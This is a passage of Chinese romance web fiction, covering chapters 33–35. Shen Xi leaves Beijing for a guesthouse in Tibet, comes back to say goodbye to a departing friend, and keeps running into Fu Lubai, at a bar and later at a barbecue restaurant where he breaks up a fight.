沈晞淡淡的瞥了她一眼,真就没动。
倒不是乐意配合艺术创作者实现他们什么的艺术梦,主要是她提不起什么精神来。
她出来已经半个月了,离完职后便拿着个小行李箱,一路向西。主要是不知道去哪儿,向北,本来也已经挺北了,没有什么可以再走的,向南,会路过家的,她下意识排斥,向东,可选择性也不太多。
于是便这样兜兜转转来到了西藏,路上,并没有她想象中那样的释然,以为走了也就把念想断了,不过是一段未开始的情愫,可她辗转多地,见山见水一个不经意的恍惚间,还是会想起他。
实在是因为他和山水这些气质太像,后来她也走不动了,就索性直接窝在了林芝下面的一个县的民宿里,每天无所事事的在院子里晒着太阳。
她以为自己会这样永久的晒下去,直到忘记他,或者和这融为一体,但她没能躺两天,就乌泱泱的入住进来了一堆人,直接让她无处可躺。
这群人非常的闹腾,但是不烦人,很会玩,每天都有小节目,连带着她都不好意思不跟着玩。昨晚在院子里自己围着炉子烤串,还天南海北的一通聊直接干到了后半夜。
这会儿她才坐起来醒神儿。
进来的人叫大A,也是这群人里的。大A拍完照后,才发现沈晞有点蔫,又想起刚在门口时听到的那声喷嚏,“我去,你不会高反了吧?”
“没有,我鼻炎犯了。”沈晞打了个哈欠,又将被子紧了紧,“什么事啊?”
也是奇怪了,她从京市出来后,就时不时的打喷嚏,也不知道是不是有人在骂她。
就是打喷嚏,也不难受。
大A见她没什么事,放心下来,情绪也跟着恢复高涨,“走啊,叫你下去玩!”
“还玩?!”沈晞被他们的精力震惊到了。
“啊……”大A茫然,“来这不就是为了玩么?赶紧啊,他们要画沙画。”
沈晞解释不了,但确实对沙面还挺感兴趣的,之前没近距离看过,于是翻开被子洗漱了一下就下去了,连衣服都没换。
跟他们一起久了,真就有在宿舍那种松弛感。
没事的时候门都不怎么锁,谁爱进谁进。
还是在小院里,她下去的时候,东西都已经摆好了,大约实在特地等她,于是快走了两步,等她站好后,沙画便也已经开始了。
只见人随手就在他们平时偶尔用来吃饭喝咖啡的石桌上撒了一把沙子,沈晞都没看清是怎么做到的,也就几秒钟的功夫,只看一双修长漂亮的手在上面来回抹了几下,就出了模糊的形状。
虽然看不出,有点抽象,但是这下手实在是太稳了,一看就是真的会。这人非常的从容,也很松弛,站姿都是随意的,但手下却控制的很稳。
轮廓就在他的指尖一点点的出来。
渐渐让人认出,这是个房子。
所有人都屏住了呼吸,看的全神贯注,半个小时后,那人指尖往上一带的收尾,沈晞也终于认出,画的是他们住的这家民宿!
甚至!连石桌前,围绕的他们、六个人也都画了出来!
这是个速写,还是用的沙子!
沈晞脑子里只闪过一个词——好强!
“啊啊啊啊!”大A更是激动的一震尖叫,“太好了太好了,我都录下来了!”
沈晞这才发现她还拿了个相机,一直录着,“到时候你给我也发一份,留个纪念。”
“好啊好啊,”大A低头一边看着相机一边说着,“到时候我办策展你有时间也来。”
“策展?”
“对啊,我是个策展人,没事策划个展览什么的,也会专门在一个区域放一些我记录的五花八门的东西,挺有意思的。”大A说。
“确实有意思。”沈晞想了想说,“到时候有时间我肯定去。”
“哎行,收拾收拾吃饭!”
不知谁大手一挥嚷嚷了一声,沈晞震惊到了又吃?
距离他们上一波夜宵吃完,还没几个小时啊……
但是这群人执行力都非常的强,都没等沈晞在震惊中反应过来,已经有人端出了个锅来,里面飘着一层金灿灿漂亮的油,软烂的鸡肉浸泡在里面,还有些绿油油的蔬菜。
还美其名曰,“昨晚吃的太荤了,今天整点清淡的。”
沈晞看着这满满一锅的肉,清淡???
但一群人上了桌子,就是拿着刚刚的石桌子,伴着几颗没收太干净的沙子,还真就把这满满一锅吃完了,又往里涮了点菜,沈晞摸着吃撑得肚子,觉得自己这一趟一定得长胖。
大家都有点犯饭困,也懒得收拾,就围坐在一起刷刷手机休息,沈晞都快要睡着了,忽然一道温淡沉稳带着某种秩序感的声音传来,让沈晞猛地睁开了眼睛,下意识看了过去。
声音是从身旁人手机传出的,很短的一句,像是不经意间被录进去,但也仅仅只是这一句,便也足以让沈晞为之一震。
可他的声音不应当出现在旁边人的手机里,两人应该没有什么交集。
沈晞撇撇嘴,无声的自嘲了下,竟然都出幻觉了。
下一秒,却有人问拿着手机的男人怎么有点愁眉苦脸的,这多好玩啊,好山好水好风光的,还有好大个的美女。
众人被人话逗的不由哈哈笑,同时都看了眼沈晞。
男人笑的就有些苦涩和勉强了,“唉,忽然公司说要改革。”
“啊?你公司不是在海外么?”有个人问,“怎么也要改啊?”
“海外就不能改啊?”男人气笑了,又有点无奈的说:“好像是关系到政治层面了,我也不知道,你们也知道国外向来很乱的嘛。谁都能掌握下话语权。”
沈晞无心再听,打算去外面吹吹风。
男人又说:“不过这次来的,是个华侨,或许能会不一样……”说完,他又兀自摇摇头,“嗐,也不一定。”
沈晞却坐着没再动,海外、话语权、华侨……
或许不是幻听。
也这个认知又让沈晞的心狠狠一震,没想到跑这么远,还能再听到关于他的消息,也还是会让她如此失神。
辞职后,她便断了和京市那边的所有联系,接电话,也只接认识的、除傅律白和一切他身边的号。
傅律白有给她打过电话,三次。
大约是还记得当时她说的——你就不会多找几次么?
时过境迁,她说这句话时,又怎么会想到会有今日。
可傅律白却记住了,三次无声的回音对于他这样的人来说,应该已是极限。他是个很有原则,做什么事都会有个期限、底线的人,虽然平时看起来很松弛从容甚至随意散漫,其实沈晞知道,那不过是从未涉及到过他的底线。
一旦触碰,便会毫不犹豫的见识到傅先生的手段,虽然她至今未见过。
大概之后,也不会再有机会见了。
所以类似于什么三啊、十啊这种,对于一般人来说都带着些特定期限的词语,在他这可能会更明显。
三次,确实很符合他的身份性格了。
……
GUHIJ里,傅律白随意的拨动着手中的佛珠,静静地看向窗外。
今天GUHIJ格外的情境,只有下面的驻唱哼着很轻的音乐。其实是被禹开然净场了,外面早就锁上了门不再营业,他知道傅律白最近有些心情不好,只不过傅律白只安静的看向窗外,能看到不远处的白塔。
和在公司落地窗前,看到的是不一样的。
大概,不如那好看吧。
他有找过她的行踪。
其实那天,知道她忽然离职电话又打不通时,傅律白第一个念头是,是不是她出了什么事。
可是他排查了她周围的朋友,包括那日目送她离开的那个叫郑奇杰的男孩,甚至旁敲侧击的打电话给老师,也没发现有什么问题来。
然后他就收到了她一路西行的行踪,看那个轨迹,大概是要去西藏,不知道还会不会越过尼泊尔。
知道她没出什么事,就是去玩了,就是不告而别了。
傅律白轻笑了下,说不出自己是什么情绪,只是眼神带着几分凌厉,多少还是被气到了。
-
“天呐,这蘑菇还不能吃!!!你快进屋去——”
接到姜瑶电话的时候,沈晞正被人手忙脚乱推出厨房。
前两天没事,和当地人上山一起采了点蘑菇,今天天气有点冷,她就洗吧洗吧想喝点热乎的蘑菇烫,觉得煮的也差不多了,就打算先盖子端进来了,结果蘑菇汤还没端进来,人倒是先被推进来了。
她摸了摸鼻子,才将电话接通。
“还不回来呢,真乐不思蜀啦?”姜瑶的声音从电话那头响起,像是在吃什么东西,优哉游哉的声音有点懒。
“……”沈晞垂了下眼睑。
没听到她的声音,姜瑶后知后觉有点回过味来,蹭的一下从沙发坐起来,“不是,你什么意思,你不会不回来了吧?”
沈晞诧异这个平时看上去挺大线条的人忽然的敏锐。
姜瑶开始发散思维,寻找到了一个最可能得,“不是!什么情况啊?你不会在那看上了什么藏族汉子,把你魂给勾住啦?!”
不是,是因为京市有人把她魂勾住了,她才不能回。
“!!!还是更严重的,你直接当妈了?!”姜瑶越想越脑洞打开,在那边疯狂锤枕头。
“咳咳咳——”沈晞直接被自己的口水呛到,咳了半天。
这听到姜瑶耳中,简直跟被戳破隐秘绷不住一样,“你真坏啦???!!!”
沈晞还在咳,但她不敢再不开口了,不然她怕再等会,在姜瑶口中她直接有个几岁大的孩子了,边咳着边说:“不是咳咳咳、你搞什么咳咳咳、你疯了么!”
最后一句她终于止住了咳,喊了上去,也不知道是咳累了还是被气的。
“什么?已经疯了?都说蘑菇不熟不能乱吃!”民宿老板娘急匆匆的跑进来。
沈晞顿时一个头两个大,“不是我没疯、对,”她有些生无可恋的说,“我是快要气疯了。”
老板娘此时很紧张,每年中毒的人不少,这会儿也只把关注点放到了“疯了”上面,她大腿一拍,“啊呦这可真是——”
说着就要扛着沈晞去医院,这中毒可大可小的不能有一点大意。
老板娘长得很壮实,一米七的个子得有个一百五六十斤,还全都是常年干活弄出来的肌肉,说话间手已经架到了沈晞的腋下。
一个用劲儿就把人扛到了肩上。
“!!!”
沈晞人都傻了,胳膊长长的耷拉着被倒挂金钩的说:“我没疯!”
“嗯嗯,知道了,这就到医院了。”老板娘非常的敷衍,一般跟喝酒了一样,嚷嚷着没醉的那就是醉了。
“不是!我跟您开玩笑呢!我真没——”沈晞这会儿脑袋冲下,血液都跟着顶到了脑袋上,大脑转的非常的快,快速的证明着自己,“一一得一一二得二你昨天棒打了隔壁沈老二!”
老板娘脚步一顿,低头看向她,“呦,这都能记得
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住,这没疯啊?”
“我都没来得及喝,我疯什么?!”沈晞被倒挂的已经开始头晕脑胀的想吐,咬牙切齿的说。
老板娘把人放了下来,“啧”了声,“没疯你这瞎嚷嚷什么呢,我这一堆事呢。”
说完,也不给沈晞再开口的机会,又快速的走去了厨房,去看着炒菜到一半的锅。
沈晞:“……??”
沈晞轻吐了口浊气,发现手机还紧紧握在自己手里,就刚才那一下手机没被扔出去都是她下意识想抓住点什么救命稻草:)
这才又想起上一秒她还在接电话。
她疲惫的将手机再次贴近耳边,也不知道那边挂没挂,“喂。”
耳边瞬间想起姜瑶尖锐的爆鸣声,“什么!你是疯了在和隔壁沈老二在一起,现在要去医院打胎?!”
草——!
沈晞直接面无表情挂断了电话。
一口气差点没喘上来,捂着心脏,觉得自己这个已经成为当地人的身体都高反了。
没过两秒钟,电话再次打过来。
沈晞深吸了一口气,接通,都没给对面反应的机会,劈头盖脸道:“你知道我现在在高原吧?”
“啊?”对面愣了愣,“我知道啊……”
不给她反应和提问的机会,沈晞又说:“所以我真的可以一下子被气高反,被气死将不再是形容词。”
为了提醒她,沈晞特意将“被气高反”几个字加重。
“惹……”姜瑶说话开始变得小心翼翼起来,“那你什么时候去医院啊?那边医院技术行不行啊?要不你还是回京吧?带上那个、嗯,沈老二——”
说话的声音都变轻了,但内容还是直接让沈晞炸了毛,都没等她说完,直接被沈晞打断,一字一句道:“我没怀孕!没有什么沈老二!不用去医院!我草、你到底什么事!!!”
她最后几乎是吼的,姜瑶还记得她能被气死这件事,急忙说:“你别激动别激动,那你——”
她还没说完,就被沈晞警告道:“再说一句‘医院’我就冲回去掐死你!”
谁知下一秒就听姜瑶说:
“好,医院,”姜瑶说的干脆利落,“我说了,你回来吧。”
“……”没想到这个时候反应竟然快了,沈晞一下子被噎住。
姜瑶也受不了了,语气有点急,“你到底为什么不回来啊?京市不好么?反正你又不想回家。”
沈晞眼睫轻垂,没说话。京市是很好,好到……她觉得太高太远了,高到让人够不到,连试一试的勇气都没有,因为没有任何的希望。
她不是一个胆小遇到事情就轻易退缩的人,可是她也足够的理智和清醒,知道这场漩涡早已超出了她能淌的承受能力。
姜瑶那边还在催促着,她也只能语焉不详的敷衍着,“我还没玩够。”
“那你!什么时候!才能!玩够啊!”
这一没玩够,就又在这玩了一个月,姜瑶的咆哮声时不时的从耳边响起。这天她成功的煮熟了蘑菇汤,正喝着,手机响起,她以为又是姜瑶,又喝了两口才慢吞吞的去接。
说实话,现在接起她的电话来,实在是需要些勇气,推脱的话都已经快找不到什么词了,姜瑶就快自己杀过来了。
但她垂眸看到来电显时愣了下,没想到是大A。
大A早就回去了,陆陆续续的那群人现在就有只剩下她。
她接通,是大A和她说策展已经规划好了,就要这几天展出,问她要不要过去看。
她并没有问沈晞回没回京市,只问要不要去看。
回京么?
沈晞踌躇又迟疑着,甚至连这个城市的名字在听到时,都会带有情怯的逃避感,并没有给准确回复。
大A也不勉强,只告诉了她时间,一切由她决定。
事情的转机,是在几天后。
宁今雨打电话过来。
看到这个名字时,沈晞不自觉勾了勾唇,换了个很松懒的姿势接通。
可过了几分钟,她眉心不由的紧敛。
宁今雨打电话来,说她就要离开京市了,问她这两天有没有时间,约个时间见一面,就当是为她践行。
宁今雨并不知道她早已不在京,毕业后,两个人所在的公司相隔甚远,不在一个方向也就没再继续做室友。平时也只是不是电话和信息联系,这段时间恰好宁今雨也很忙,联系的有些少。
但是她没想到,宁今雨竟然会离开京市,毕竟她当时那么难,那样受秦凯威胁都没放弃。
这样的信号会就像是当头一棒,打的沈晞有些怔愣。
原来不是什么都一成不变的,京市是一个很容易让人离开的地方。
那些个原本以为,会安安稳稳在那里的朋友、亲人,熟悉的事物,也不会一直等着你,在想回去时,就能再看到。
沈晞当即收拾了行李,买了回京市的机票。
她拉着行李走时,老板娘正好过来叫她去喝蘑菇汤,愣了下问:“你这是又要去哪儿啊?别乱跑啊,东边地震西边正降温呢。”
沈晞摆摆手说:“我要回去了。”
老板娘笑了笑,“呦,那可可惜,喝不到我的蘑菇汤了。”
“我想喝了再回来。”沈晞提着行李,冲她眨了眨眼。
老板娘目送着她离开,原本风风火火的目光中,带着几分睿智的光,面露慈祥的祝福。
终于又想通了一个。
来到他们这里,哪个不是遇到了事需要逃避现实的。但不应该是这么大点的小姑娘,这小姑娘带着一股子的灵气,她就应当去尽情绽放的。
老板娘笑了笑,她想,这姑娘应该是再也喝不到她的汤喽。
34. 第 34 章
她们约到了学校的食堂,还是那家鸡公煲。
沈晞隔着热腾腾的饭气,看着四周充满朝气来觅食的学弟学妹们,竟然有种恍如隔世的感觉,明明离开这里也没几个月,却又好像觉得和这里已经无关了。
不过鸡公煲的味道还是没变,熟悉的美味瞬间又将她拉了回来,两个人脸上都带上了些笑意。
两人边吃边聊,沈晞当时在电话里就想问的,觉得这事得见面了聊,现在终于忍不住开了口,“你怎么忽然要离京啊?”
宁今雨夹了一筷子裹满酱汁的火锅面,笑了下,说:“京市本来就不是我的家啊。”
沈晞有点急了,还是有些接受不了她会就这么的离开,哪怕其实她早已也无声的离开过,但是这样被人先走,她就会有种被丢下的感觉。
非常的双标。
“可是你不是、你不是……”沈晞欲言又止的看着她。
不愧是一起住了四年的人,宁今雨知道她在说什么,轻笑了下,可眼底却是难以遮掩的落寞,“她交了个男朋友,那个男人看上去很靠谱。”
“……”沈晞张了张嘴,不知道再说些什么了。
过了两秒,又觉得有些不爽,“那你也不能重色轻友啊,我们这些朋友就不值得你留下来么?”
“这里不是我的家,你也知道留在京市有多难。”宁今雨还是浅浅的笑着,说完又觉得,茜茜应当不知道,毕竟茜茜的家境很好,留在京市或者对于留在任何地方,在茜茜眼里都是一样的,都感受不到那个“难”字。
这次她是真的笑了下,笑容达到的眼底。
沈晞却说:“我知道。”
宁今雨看着她,轻笑了下。
沈晞有点急了,“你别不信!虽然我确实靠家里,但是我还是看得到的,我身边很多同事。”
虽然她和家里关系很一般,但是那是她应得的,所以她从来没搞什么有骨气那一套,不用她生物学父亲钱什么的,那里有她妈妈一半的心血在,她用的心安理得,从来不会在金钱物质上委屈了自己,来证明着什么。
能证明什么呢?她就要尽情的享受,过好自己的一生,狠狠花他们的钱!
她知道自己说这些话,不太有可信度。
宁今雨轻笑了下,“我信,真的。”
可她笑完,沈晞却笑不出来了。
对啊,这不就证明了,在这里挺难的,还为什么要人这么难的留在这呢。
饭后,她们又逛了一遍校园,刚入学时的场景似乎都还历历在目,可转眼时光飞逝,在落日余晖下,沈晞将人送到了机场,没想到却遇到了故人。
那位大姐姐早就在那里等,身旁还站着一位身形高大,穿着简洁,带着个金丝边眼镜,长相不算惊艳,但胜在气质好,确实看上去蛮靠谱。
沈晞感受到,宁今雨在看到她的那一刻,情绪就有点控制不住了。
大姐姐还在说着些很掏心窝子的话,叮嘱了一下,不舍了一些,最后的最后还说:“无论什么时候我这里的大门永远向你敞开,无论你什么时候回来都会留有你的一个位置。”
宁今雨没说话,只是可止不住的抱了抱大姐姐,沈晞看到她垂在身侧的手在发抖。
她也知道,宁今雨转身走向安检口的那一刻就再也控制不住的流泪,也知道她再也不会回来了。
沈晞没有开车来,大姐姐擦了擦眼睛,想要带她一程,被她婉拒了。
回到出租屋,沈晞的心情异常低落,或许离别本身就足够叫人低落,她什么也没做,只是窝在沙发里看上去有气无力的,直到电话忽然响起,才将她惊醒,才发现外面已经黑透,房间里看不到一点光亮。
她就着手机微弱的亮光,边接边趿拉着拖鞋懒洋洋的去开灯。
“喂。” 久没喝水开口,她的嗓音异常的沙哑。
大A在那头吓了一跳,“卧槽你怎么了?”
沈晞也被自己的声音吓了一跳,清了清嗓子后,发现没用,又用力的清了清,“没事。”
“真没事啊?”大A不放心的又问了一遍。
“嗯。”沈晞应了声,离别每分每秒都在发生,也只存在于单向群体身上,其他人永远不可能感同身受,也没必要让人碍于自己的情绪,跟着一起不开心。
大A放下心来,声音跟着扬了上去,“那出来啊,庆祝一下。”
背后是有些嘈杂的人生和汽车呼啸夹杂的鸣笛声,大A略带着烟嗓的声音总是显得格外有生命力。
让人心之一震,“去哪儿?”
沈晞问。
大A直接来接她,车上还有两个人,都是这次策展上跟着一起筹备帮忙的人。
这次的策展很成功,大A忙了两个来月,终于完美收官。
沈晞也是这次才知道,还有策展人这样的工作,很有意思。
工作起来的大A看上去很专业也很职业冷艳,和在西藏那个小民宿里,有些咋咋呼呼又迷迷糊糊的她完全不同,也和此时在舞池里和人近身热舞的她也不一样。
嗯嗯嗯?
近身热舞?
好家伙,沈晞拿着酒杯的手都僵住了,不敢置信的看着不远处的人,这是在跳舞么?
她怎么觉得下一秒他们就该亲上了?
沈晞不由得瞪大了眼睛,也才发现卡座一圈的人不知道什么时候都不在了,只有她一个人还在这坐着不在状态的出神。
她又看了眼攀着面前男人脖子,言笑晏晏和男人说了句什么,惹得男人明显愣了下神后,而又轻笑的大A,她觉得大A一时半会大概不会回来了。
沈晞拿出手机,给她发了个先离开的信息后,便起了身,没想到没走出去两步,却和人撞个满怀。
也不算是满怀,对面的那个人反应极快,在这样人员嘈杂混乱的情况下,那个人却在撞上的那一刻,有种明显的反应过来要后退的动作,但不知道为什么,下一秒,在她被撞得往后倒的时候,又感受到他停止了躲开的举动,过来揽住了她的腰。
来阻止了她继续向后倒,再让身后拿着酒的男士遭殃的举动。
她一边感慨于他这一通八百个动作的神反应,一边抬头和人说着对不起,以及谢谢。
只不过后面的道谢没来得及说,就让她的话卡壳了,有些呆愣的看着面前的人。
因为她又看到了那张,时隔三个多月,却仍旧魂牵梦绕的脸。
她走时是初夏,此时已到了夏季即将结束的时候,没想到竟然已经这么久了。
可却还是,一见到,心就开始酸酸涩涩的难受。
他好像没有什么变化,在这种红灯酒绿的环境里,也还是那副淡然的样子,只是在看着她时眉心微皱。
傅律白没想到会在这里,这样的环境下见到他。他甚至觉得,他们或许不会再见了。而这个此时,他以为不会再见,走的非常干净利落的人,微微张着嘴看着他的表情还有点无辜。
好像对自己做的事,非常的理直气壮,没觉得有一点不对。
他其实并不是什么纠缠执著的人,但看到她此时的反应,他还是忍不住开口,“不打声招呼?”
也不知是在说她当时的不告而别,还是现在,亦或是两者都有。
沈晞从措不及防见到他的惊愕中回过神来,又被他这句话刺痛,竟生出了怒意来。他什么都不知道,受折磨的人只有她一个,而他甚至还可以这样理直气壮的责问。
虽然很莫须有的罪名,他相当的无辜,但她就是要牵连,凭什么他可以这样的痛快,轻飘飘的没事人一样问责她。
沈晞下巴微扬,如他的愿般客客气气的和他打着招呼,“傅先生。”
她语气中的疏离让傅律白不由的轻皱了下眉,就又好像回到了最初时,她忽而客气疏离又忽而撒娇靠近的态度。
傅律白有些无奈的轻笑了下,微微俯身,拉低了些两个人的距离,挺认真的看着她,“我是哪里得罪你了?”
沈晞看着他皱眉,原本带着股莫名的爽意,可却又被他这一问,问的彻底没了脾气,瞬间破了功,连喉咙都开始有些酸涩,他何其无辜,在这时,在她这样的态度下,他还会心平气和的甚至反思一下自己,是否哪里不小心得罪了她,也没怪罪她的莽撞失礼。
她真的败给他了。
无论怎么样,她都会喜欢上他的,这样的人,不可能不让人喜欢。
沈晞几乎招架不住那双,明明温淡却此时认真看着她,便如深渊般引她深入的眼睛,几乎狼狈的垂下了眸,又无力的摇了摇头。
她这样的反应,傅律白眉心蹙的更加紧了几分,这次连头都微微低下,试图看清她的眼睛,“茜茜,你怎么了?”
他还在担心自己是不是出了事。
这个认知让沈晞眼睛一红,差点直接哭了出来。
在这样情绪复杂,又被步步紧逼的紧迫下,她也只得摇头,努力让自己的大脑运转起来,连开口都是艰难的,“我……我就是想出去玩玩。”
连电话也不接的,直接断了联系?
这样的借口连沈晞自己都觉得漏洞百出,并且百般敷衍。
但好在傅律白并没有追究,只是深深地看了她一眼。
沈晞不知道,这是已经感受到她的敷衍,生了气的“算了”,还是他的贴体,不再逼迫她。
她又开始在他出现后,在关于他的课题时,便各种左思右想。
而傅律白也并没有给她更多的时间,只询问道:“送你回去?”
沈晞依旧下意识地摇头。
“……”
最终被她从见面开始,便不知摇头几次的傅律白并没有继续多说什么的,目送着她离开。
所以,他大概是生气了的“算了”,沈晞在车上看着后视镜越来越远的酒吧大门这样想着。
可这不就是你要的么?
人家这样做了,你为什么又这样?
沈晞轻闭上眼睛,叹了一口气,胸口起伏着,她很不喜欢这样的自己。
这样奇怪,这样心口不一,这样……不像是自己的自己。
-
大A的策展很成功,甚至受到了圈内人的认可,一传十十传百的就又延期重展了一次。
沈晞也没闲着,她觉得自己务必要给自己找点事情做,于是问大A有没有什么事是她可以做的。大A说,那可太有了,沈晞问是什么,她怕自
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己不能胜任。
大A一脸神秘的说:“你放心,你绝对可以。”
言语间是对她百分之百的信任与认可,这让沈晞很感动,可到了展场才知道这不是源自于对她的信任,而是全是一些杂货,属于哪里有是往哪里搬的。
她在展场和其他几个人一样,就像是个小陀螺一样旋转,但也是因为这一次,她对策展有了更新的认识与理解,深入了内部,而不再只是一个欣赏者。
也是第一次感受到,去展示一件东西,全心全意的投入这种工作,是和之前那些不一样的,哪怕忙前忙后干了一周,不但是她所有人都还是昂扬着的,在最后收场时也是开心和激动的,完全没有一点班味。
甚至还精力十足的打算直接再一次去庆功,只不过以创意为吃饭本领的大A在这一刻格外的没有创意,又提议要去酒吧,不知道是不是对那天近身热舞那个念念不忘,也不知道之后他们有没有后续,那天她情绪有些混乱,忘了问,之后便也没打听。
但酒吧这个地方,对她来说对少有点ptsd了,当下便立刻拒绝。
她一直挺安静的,这会儿出身大A茫然的眨着眼睛问她,“为什么啊?酒吧不好玩么?不去酒吧去哪儿啊?”
其他人也看了过来。
沈晞有些心虚,在众多眼睛的注视下脑袋急速运转着,随口说道:“烧烤!去吃烧烤吧。”
这种地方,不怎么接地气的他一定不会去。但她似乎忘记了,不怎么接地气的傅先生也曾陪着她吃遍京市的大街小巷苍蝇小馆。
沈晞越想越肯定,带着些激将法的说:“你搞创意的,每次也要有点创意吧,总去酒吧多无聊,再说大家都鏖战一周了,玩不动了。”
其他人原本还没觉得饿,被她一说的顿时胃口大动,都没等大A说话呢,就已经替她做了决定,“走走走,我知道有一家老牌烧烤店特别好吃,最近还被什么探店博主给整火了,都有不少外地人特地过来呢。”
“啊,那人得很多吧。”
“没事,我认识老板,让他给咱们空出个桌来。”
一众人就这样三言两语的敲定,往车那边走去。
沈晞暗自松了一口气。
-
这店人是真的很多,哪怕认识老板提前打了招呼也留不出包间来,只能坐在大堂。
大家对于坐那儿都不怎么在意,本来就是来放松的,坐外面更有氛围。
一桌子人天南地北的聊着,或许就在这样的氛围下,沈晞近几个月来难得的感到放松,这一放松就小喝了几杯,喝的人晕晕乎乎的,连旁边人怎么打起来的都不知道。
等她看到时,一个彪形大汉脸红脖子粗的站在大A面前,不知道在争论着什么,看表情很是仇恨,而周围的几个比她还菜已经喝趴在桌子上不省人事,大A不知道又一脸不屑的出了句什么,这句话明显的激怒了大汉,挥起手来就要动手,别看大A听起来又大又A的,但其实特别的娇小,这大汉看上去得有小二百斤,哪能受得住他这一下子。
沈晞想都没想的,拿起旁边的酒瓶就抡了过去。但她酒喝了不少,失了准头,只抡在了大汉的肩窝上,却也让大汉吃了痛,让本就来气的大汉更加的怒火攻心,放弃了攻击大A直接冲向了沈晞。
这一声动静挺大的,瞬间就引起了周围几桌人的注意,但都没反应过来,已经来不及过去。
沈晞倒是反应过来了,在这人气势汹汹的攻势下,很灵巧的矮身要躲过去,并且如果运气好的话,这人控制不好自身惯性的冲势,还能撞到桌子上扑出去。
想法很丰满,但事与愿违,喝完酒的身体并不怎么听使唤,身子是矮了就是幅度相当的小,眼看着肩膀就要和大汉的拳头来个紧密接触,像大众掩饰个什么叫做现世报时,有人忽然拉了她一把,同时掐住那个大汉的手臂往下压,也不知道是怎么做到的,那快跟她小腿一般粗的胳膊,在这人手里跟个小竹竿似的就被折了下去。
大汉吃痛的喊了声。
众人也反应了过来,七嘴八舌的围了过来。
“什么人啊!跟人小姑娘动手。”
“就是,听你找人麻烦半天了,嘴上不够还上手了是吧!”
嘈杂间,沈晞也回过了些神,刚刚一些列操作全是肾上腺素顶上去了,这会儿开始后知后觉的害怕,甚至连胳膊都有些不受控制的发抖,全身都有些发冷。
恍惚间,身上被罩上了件衣服。温冷低沉,带着令人安心富有秩序感的声音时远时近的从头顶上方响起,“没事了。”
沈晞下意识地抬起头,在看到那张熟悉俊冷的脸上,所有的情绪一下涌了上来,开始破防。
为什么每一次都是在她狼狈又需要帮助的时候出现,让她越陷越深离不开又得不到。
“你能不能不要再对我这么好了?”
她眼中带着泫然欲泣欲语还休的控诉,那双向来清明澄澈灵动狡黠漆黑圆润的眸子里,此时看上去难过极了。
傅律白被这个眼神看的骤然一怔,在她的目光中似乎读懂了什么,心中也跟着沉痛起来,连带着眉心都不由的敛起,也不知过了多久,才看着她神色复杂的哑声说着,“好。”
35. 第 35 章
田师傅在接到傅先生电话时,就觉得很奇怪,先生的声音似乎格外的哑。
此时面对面的交谈时,发现先生的声音比电话里还哑了,像是吞下去一颗酸涩的梅,怎么都压不下去,只能任由它慢慢腐蚀。
“送茜茜小姐回去。”
这是常有的事,他还在为茜茜小姐又回来了而感到高兴,可过了两秒钟反应过来这句话的意思,“那先生您呢?”
先生不语,只默默地垂眸看着已经醉的有些迷糊,但还坚强的自主站着的茜茜小姐,过了几秒钟才移开了视线,可也未落到别处,视线有些放空的挥了挥手。
大A自动的将人扶住往外走。
可等人真的走了,傅律白的视线又不自觉的跟随着,直到人出了门再也看不见,也未将视线收回。
有引擎声响起,而后越来越远,傅律白垂在身侧的手慢慢握紧,他轻闭上了眼睛,心也跟着那远去的声音往下沉。
-
沈晞迷迷糊糊的睁开眼睛,在看到大A那张近在咫尺的脸时,吓得她心脏“咚”的一下,瞬间醒了,在心脏打鼓的快要跳出来的节奏下,她有些无语的问:“你干什么?”
大A一脸八卦的问:“昨晚那个男人是谁啊?很有调调嘛。”
昨天车停到沈晞家门口的时候,她将人扶下来,司机师傅帮着忙的将人往家里送。将人安顿好以后,司机老师傅有点踌躇,大A立刻就反应了过来,说:“那什么,我就住着,不麻烦您了。”
听她这么说,老师傅明显松了口气。大A本来还有点弄不明白,但是等看到躺在床上已经睡着的茜茜时,她反应了过来,这不就是为了晚上能有人照顾一把放松的么。
又是派人送,两个人互动起来又那么怪,这会儿连司机都这么上心,不说有点什么,打死她都不信。
就这么心里装着事,她一大早就醒了,就候着她呢。
沈晞看了她一眼,没说话,过了两秒才翻起身来开口,“我还没问你呢,怎么忽然就跟人打起来了?”
“别转移话题啊,什么打起来,那是他单方面挑衅,酸逼一个,看我最近风生水起他在业内查无此人呗。”大A快速的说完,随后睨着她,一脸审问的表情,“所以那人是谁,前男友?”
“不是。”沈晞站起了身。
大A并没有放弃,“那就是,暧昧对象?”
沈晞正打算去洗漱,却看到了挂在椅子上的那件衬衣外套,一些个断断续续的画面便从脑海中闪过。
她这停顿,在大A眼中就像是默认,笑的一脸暧昧的看着她,“我猜对啦,不错嘛茜茜,拿下他,他是真的很不错。”
你看,所有人都会喜欢他,无论什么口味的人都会觉得他很不错,可所有人也得不到他,一切早就已经注定。
沈晞没有去动那件衣服,就像,不知道怎么处理和傅律白间的关系一样。
她侧着身,大A没看到她的表情,又兀自轻叹了口气,“我觉得你和我们都不一样,很有调性也很有性格,也就那样的男人能配的上你,你也能拿得下。”
就昨晚那个男人,看上去就很不凡,是那种心动别人都不敢轻易上手的,但她觉得茜茜可以,带着股在某种程度上旗鼓相当的味道。
沈晞听到这话,眸子轻转了转,看不出什么情绪的轻问了句,“我怎么不一样?”
“你就是很敢啊,在很多事情上,想法做法都和我们不太一样。”大A不知道怎么说,“反正你就是有股劲儿。”
她确实有那股劲儿,但是不知道为什么,在面对傅律白这件事上,会变得这么畏首畏尾,她垂在身侧的手一点点握紧。
慢慢地,带上了几分热气,直到拳彻底握紧的那一刻,好像那颗飘忽不定的心都找到支撑,京市这么大,她才回来短短不到半个月,就见到了他两次,这是不是某种信号。
就像,在杭市偶遇的人,到京市有一次遇见。
如果还能再见到他,就赔上一局。
她不甘心,她的整个汗毛孔都在叫嚣着,她就是不甘心。
可京市那么大,长安街十车道,他们真的还能遇见么。
最终,沈晞不知道在什么情绪下,将那件衬衣挂好,放进了衣柜的最里端,虽然特地腾出了些距离,可到底就那么点的位置,彼此的衣袖衣摆还是会偶尔贴在一起,碰撞着摩擦着。
大抵是她内心做了某些决定,之前频繁偶遇的人反而销声匿迹彻底消失在她的生活中,不知道是否缘分已经用尽,命运向来爱玩弄人。
大A那边,越是被同行嫉妒,也不懂得什么叫收敛锋芒,反而乘势追击小脑袋瓜子转的极快,又开了一次展,还是全新的主题,强势的向业内表达着:姐就是你们杀不死的爸爸,羡慕去吧。
但也是有代价的,新的主题就意味着一切重新开始,开始尽一切可能的抓身边的壮丁,沈晞当然是第一次被抓走的。
按大A的原话就是:反正你也没事。
“……”
无力反驳。
